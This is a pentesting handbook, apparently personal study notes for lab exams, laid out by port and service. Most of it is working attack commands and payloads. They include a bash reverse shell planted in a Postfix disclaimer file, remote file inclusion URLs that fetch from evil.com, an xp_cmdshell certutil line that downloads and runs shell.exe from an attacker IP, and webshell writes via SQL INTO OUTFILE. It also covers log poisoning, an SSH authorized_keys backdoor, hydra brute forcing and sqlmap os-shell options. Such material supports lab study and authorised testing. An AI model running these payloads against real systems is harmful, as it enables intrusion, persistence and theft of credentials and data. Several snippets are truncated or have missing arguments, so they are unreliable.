* Always test a reverse shell on a windows box when attempting to get a shell.

* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn't work, execute a command to change the Administrator password and used smbexec to auth.

* Identify all users. Attempt to brute force authentication via RDP

* Always view "C:\program files" and "C:\program files (x86)" for installed apps.

=== Linux Privilege Escalation ===

* Privesc scripts aren't always right:
e.g. a decoy exist item in crontab when <code>sudo -l</code> reveals a process dumper used to get credentials from memory.

* If a process dumper is available, don't Google too deep. See if there are custom "password" processes to target.

* <code>su root</code> is the best way to switch to root if you have a password but aren't in root group.

* Identify all users. Attempt to brute force auth ssh if <code>/home</code> or <code>/etc/passwd</code> is pulled.

* Always run <code>echo $PATH</code> to show available commands/locations.

* Docker - see Proving Grounds' Sirol/Escape box.

* If a user is in a group, it's probably for a reason.

* Fully understand software that's related to a user's group (e.g. fail2ban group).

* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see

* Run <code>groups</code>.

* <code>cat ~/.profile && cat ~/.bashrc</code>.

* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.

* If another user exist, always <code>su [user]</code> with no password and their name as the password.

* Check <code>/var/backups</code>.

* Custom SUIDs won't be highlighted as linpeas and other privesc scripts don't know what they are.
Examine each and every SUD!

* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.

* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl

* Try kernel exploits! If no <code>gcc </code>installed, compile on kali with <code>gcc --static</code>

* Files with caps / capabilities - see Proving Grounds' Escape box.
[[Category:Handbooks]]

Handbook I - Basic

2026-06-03T13:42:16Z

Administrator: /* 5985, 5986 - WinRM */

== Enumeration is key ==

* Look over the ports and scans. Get an idea of what you're working with.

* Dont just jump on a port and start hacking

* Find service and versions

* Find known service bugs

* Find config issues

* Find vulnerabilities using '''Searchsploit''' every service/app available

* Enumerate each service closely. Look at the header using nc/telnet.

* Default credentials (admin:admin, admin:secret, admin:pass etc…)

----

== Useful websites ==

[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]

[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
